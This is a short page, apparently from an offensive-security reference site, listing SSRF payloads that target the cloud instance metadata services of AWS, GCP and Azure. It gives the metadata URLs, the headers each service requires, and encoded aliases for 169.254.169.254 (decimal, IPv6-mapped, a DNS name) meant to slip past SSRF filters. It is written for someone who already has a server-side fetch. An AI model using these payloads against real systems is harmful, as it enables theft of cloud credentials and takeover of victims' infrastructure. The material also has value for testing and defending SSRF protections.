#vulns.co
/
mcp by GKData.io

← Back to Bypasses

Cloud metadata SSRF

You already have a server-side fetch. These are the destinations and the header gadgets for IMDS.

Tags: ssrf, cloud, aws, gcp, azure

Techniques

AWS IMDS

v1 is a GET. v2 needs PUT /latest/api/token then a header. SSRF that can set headers still wins.

  • http://169.254.169.254/latest/meta-data/
  • http://169.254.169.254/latest/api/token

GCP

Metadata-Flavor: Google header required. Same story: SSRF with custom headers.

  • http://metadata.google.internal/computeMetadata/v1/
  • http://169.254.169.254/computeMetadata/v1/

Azure

Metadata: true header. Instance metadata then management API if a managed identity exists.

  • http://169.254.169.254/metadata/instance?api-version=2021-02-01

Aliases that filters miss

Decimal, IPv6, DNS to the link-local, redirected hops.

  • http://2852039166/
  • http://[::ffff:a9fe:a9fe]/
  • http://metadata.nicob.net/

← Back to Bypasses